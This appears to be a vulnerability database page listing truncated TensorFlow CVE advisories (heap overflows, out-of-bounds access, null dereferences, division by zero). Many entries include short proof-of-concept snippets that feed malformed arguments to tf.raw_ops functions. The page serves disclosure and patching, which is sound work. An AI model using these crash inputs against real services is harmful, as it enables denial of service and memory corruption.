Intel Optimization For Tensorflow vulnerabilities

CVE-2021-29606 [MEDIUM] CWE-125 Heap OOB read in TFLite Heap OOB read in TFLite ### Impact A specially crafted TFLite model could trigger an OOB read on heap in the TFLite implementation of [`Split_V`](https://github.com/tensorflow/tensorflow/blob/c59c37e7b2d563967da813fa50fe20b21f4da683/tensorflow/lite/kernels/split_v.cc#L99): ```cc const int input_size = SizeOfDimension(input, axis_value); ``` If `axis_value` is not a value between 0 and `NumDimensions(input)`, then the [`SizeOfDimension` f

CVE-2021-29540 [LOW] CWE-120 Heap buffer overflow in `Conv2DBackpropFilter` Heap buffer overflow in `Conv2DBackpropFilter` ### Impact An attacker can cause a heap buffer overflow to occur in `Conv2DBackpropFilter`: ```python import tensorflow as tf input_tensor = tf.constant([386.078431372549, 386.07843139643234], shape=[1, 1, 1, 2], dtype=tf.float32) filter_sizes = tf.constant([1, 1, 1, 1], shape=[4], dtype=tf.int32) out_backprop = tf.constant([386.078431372549], shape=[1, 1, 1, 1], dtype=tf

CVE-2021-29578 [LOW] CWE-119 Heap buffer overflow in `FractionalAvgPoolGrad` Heap buffer overflow in `FractionalAvgPoolGrad` ### Impact The implementation of `tf.raw_ops.FractionalAvgPoolGrad` is vulnerable to a heap buffer overflow: ```python import tensorflow as tf orig_input_tensor_shape = tf.constant([1, 3, 2, 3], shape=[4], dtype=tf.int64) out_backprop = tf.constant([2], shape=[1, 1, 1, 1], dtype=tf.int64) row_pooling_sequence = tf.constant([1], shape=[1], dtype=tf.int64) col_pooling_seq

CVE-2021-29577 [LOW] CWE-119 Heap buffer overflow in `AvgPool3DGrad` Heap buffer overflow in `AvgPool3DGrad` ### Impact The implementation of `tf.raw_ops.AvgPool3DGrad` is vulnerable to a heap buffer overflow: ```python import tensorflow as tf orig_input_shape = tf.constant([10, 6, 3, 7, 7], shape=[5], dtype=tf.int32) grad = tf.constant([0.01, 0, 0], shape=[3, 1, 1, 1, 1], dtype=tf.float32) ksize = [1, 1, 1, 1, 1] strides = [1, 1, 1, 1, 1] padding = "SAME" tf.raw_ops.AvgPool3DGrad( orig_inpu

CVE-2021-29558 [LOW] CWE-787 Heap buffer overflow in `SparseSplit` Heap buffer overflow in `SparseSplit` ### Impact An attacker can cause a heap buffer overflow in `tf.raw_ops.SparseSplit`: ```python import tensorflow as tf shape_dims = tf.constant(0, dtype=tf.int64) indices = tf.ones([1, 1], dtype=tf.int64) values = tf.ones([1], dtype=tf.int64) shape = tf.ones([1], dtype=tf.int64) tf.raw_ops.SparseSplit( split_dim=shape_dims, indices=indices, values=values, shape=shape, num_split=1) ``` Th

CVE-2021-41214 [HIGH] CWE-824 Reference binding to `nullptr` in `tf.ragged.cross` Reference binding to `nullptr` in `tf.ragged.cross` ### Impact The [shape inference code for `tf.ragged.cross`](https://github.com/tensorflow/tensorflow/blob/8d72537c6abf5a44103b57b9c2e22c14f5f49698/tensorflow/core/ops/ragged_array_ops.cc#L64) has an undefined behavior due to binding a reference to `nullptr`. In the following scenario, this results in a crash: ```python import tensorflow as tf @tf.function def t

CVE-2021-29603 [LOW] CWE-787 Heap OOB write in TFLite Heap OOB write in TFLite ### Impact A specially crafted TFLite model could trigger an OOB write on heap in the TFLite implementation of [`ArgMin`/`ArgMax`](https://github.com/tensorflow/tensorflow/blob/102b211d892f3abc14f845a72047809b39cc65ab/tensorflow/lite/kernels/arg_min_max.cc#L52-L59): ```cc TfLiteIntArray* output_dims = TfLiteIntArrayCreate(NumDimensions(input) - 1); int j = 0; for (int i = 0; i data[j] = SizeOfDimension(input, i); ++

CVE-2021-29588 [LOW] CWE-369 Division by zero in TFLite's implementation of `TransposeConv` Division by zero in TFLite's implementation of `TransposeConv` ### Impact The optimized implementation of the `TransposeConv` TFLite operator is [vulnerable to a division by zero error](https://github.com/tensorflow/tensorflow/blob/0d45ea1ca641b21b73bcf9c00e0179cda284e7e7/tensorflow/lite/kernels/internal/optimized/optimized_ops.h#L5221-L5222): ```cc int height_col = (height + pad_t + pad_b - filter_h) /

CVE-2021-29566 [LOW] CWE-787 Heap OOB access in `Dilation2DBackpropInput` Heap OOB access in `Dilation2DBackpropInput` ### Impact An attacker can write outside the bounds of heap allocated arrays by passing invalid arguments to `tf.raw_ops.Dilation2DBackpropInput`: ```python import tensorflow as tf input_tensor = tf.constant([1.1] * 81, shape=[3, 3, 3, 3], dtype=tf.float32) filter = tf.constant([], shape=[0, 0, 3], dtype=tf.float32) out_backprop = tf.constant([1.1] * 1062, shape=[3, 2, 59, 3]

CVE-2021-29586 [LOW] CWE-369 Division by zero in optimized pooling implementations in TFLite Division by zero in optimized pooling implementations in TFLite ### Impact Optimized pooling implementations in TFLite fail to check that the stride arguments are not 0 before calling [`ComputePaddingHeightWidth`](https://github.com/tensorflow/tensorflow/blob/3f24ccd932546416ec906a02ddd183b48a1d2c83/tensorflow/lite/kernels/pooling.cc#L90). Since users can craft special models which will have `params->s

CVE-2021-29610 [LOW] CWE-665 Invalid validation in `QuantizeAndDequantizeV2` Invalid validation in `QuantizeAndDequantizeV2` ### Impact The validation in `tf.raw_ops.QuantizeAndDequantizeV2` allows invalid values for `axis` argument: ```python import tensorflow as tf input_tensor = tf.constant([0.0], shape=[1], dtype=float) input_min = tf.constant(-10.0) input_max = tf.constant(-10.0) tf.raw_ops.QuantizeAndDequantizeV2( input=input_tensor, input_min=input_min, input_max=input_max, signed_inp

CVE-2021-37648 [HIGH] CWE-476 Incorrect validation of `SaveV2` inputs Incorrect validation of `SaveV2` inputs ### Impact The code for `tf.raw_ops.SaveV2` does not properly validate the inputs and an attacker can trigger a null pointer dereference: ```python import tensorflow as tf tf.raw_ops.SaveV2( prefix=['tensorflow'], tensor_name=['v'], shape_and_slices=[], tensors=[1,2,3]) ``` The [implementation](https://github.com/tensorflow/tensorflow/blob/8d72537c6abf5a44103b57b9c2e22c14f5f49698/ten

CVE-2021-37650 [HIGH] CWE-120 Segfault and heap buffer overflow in `{Experimental,}DatasetToTFRecord` Segfault and heap buffer overflow in `{Experimental,}DatasetToTFRecord` ### Impact The implementation for `tf.raw_ops.ExperimentalDatasetToTFRecord` and `tf.raw_ops.DatasetToTFRecord` can trigger heap buffer overflow and segmentation fault: ```python import tensorflow as tf dataset = tf.data.Dataset.range(3) dataset = tf.data.experimental.to_variant(dataset) tf.raw_ops.ExperimentalDatasetToTF

CVE-2021-37651 [HIGH] CWE-125 Heap buffer overflow in `FractionalAvgPoolGrad` Heap buffer overflow in `FractionalAvgPoolGrad` ### Impact The implementation for `tf.raw_ops.FractionalAvgPoolGrad` can be tricked into accessing data outside of bounds of heap allocated buffers: ```python import tensorflow as tf tf.raw_ops.FractionalAvgPoolGrad( orig_input_tensor_shape=[0,1,2,3], out_backprop = np.array([[[[541],[541]],[[541],[541]]]]), row_pooling_sequence=[0, 0, 0, 0, 0], col_pooling_sequence=[-

CVE-2021-37663 [HIGH] CWE-20 Incomplete validation in `QuantizeV2` Incomplete validation in `QuantizeV2` ### Impact Due to incomplete validation in `tf.raw_ops.QuantizeV2`, an attacker can trigger undefined behavior via binding a reference to a null pointer or can access data outside the bounds of heap allocated arrays: ```python import tensorflow as tf tf.raw_ops.QuantizeV2( input=[1,2,3], min_range=[1,2], max_range=[], T=tf.qint32, mode='SCALED', round_mode='HALF_AWAY_FROM_ZERO', narrow_ran

CVE-2021-37658 [MEDIUM] CWE-824 Reference binding to nullptr in `MatrixSetDiagV*` ops Reference binding to nullptr in `MatrixSetDiagV*` ops ### Impact An attacker can cause undefined behavior via binding a reference to null pointer in all operations of type `tf.raw_ops.MatrixSetDiagV*`: ```python import tensorflow as tf tf.raw_ops.MatrixSetDiagV3( input=[1,2,3], diagonal=[1,1], k=[], align='RIGHT_LEFT') ``` The [implementation](https://github.com/tensorflow/tensorflow/blob/84d053187cb80d975e

CVE-2021-37657 [MEDIUM] CWE-824 Reference binding to nullptr in `MatrixDiagV*` ops Reference binding to nullptr in `MatrixDiagV*` ops ### Impact An attacker can cause undefined behavior via binding a reference to null pointer in all operations of type `tf.raw_ops.MatrixDiagV*`: ```python import tensorflow as tf tf.raw_ops.MatrixDiagV3( diagonal=[1,0], k=[], num_rows=[1,2,3], num_cols=[4,5], padding_value=[], align='RIGHT_RIGHT') ``` The [implementation](https://github.com/tensorflow/tensorfl

CVE-2020-26269 [HIGH] CWE-125 TensorFlow vulnerable to heap out of bounds read in filesystem glob matching TensorFlow vulnerable to heap out of bounds read in filesystem glob matching ### Impact The general implementation for matching filesystem paths to globbing pattern is vulnerable to an access out of bounds of [the array holding the directories](https://github.com/tensorflow/tensorflow/blob/458c6260265c46ebaf18052d6c61aea4b6b40926/tensorflow/core/platform/file_system_helper.cc#L127): ```cc

CVE-2022-36014 [MEDIUM] CWE-476 TensorFlow vulnerable to null-dereference in `mlir::tfg::TFOp::nameAttr` TensorFlow vulnerable to null-dereference in `mlir::tfg::TFOp::nameAttr` ### Impact When [`mlir::tfg::TFOp::nameAttr`](https://github.com/tensorflow/tensorflow/blob/master/tensorflow/core/ir/importexport/graphdef_import.cc) receives null type list attributes, it crashes. ```cpp StatusOr GraphDefImporter::ArgNumType(const NamedAttrList &attrs, const OpDef::ArgDef &arg_def, SmallVectorImpl &t

CVE-2022-36012 [MEDIUM] CWE-617 TensorFlow vulnerable to assertion fail on MLIR empty edge names TensorFlow vulnerable to assertion fail on MLIR empty edge names ### Impact When [`mlir::tfg::ConvertGenericFunctionToFunctionDef`](https://github.com/tensorflow/tensorflow/blob/master/tensorflow/core/ir/importexport/functiondef_import.cc) is given empty function attributes, it crashes. ```cpp // We pre-allocate the array of operands and populate it using the // `output_name_to_position` and `contro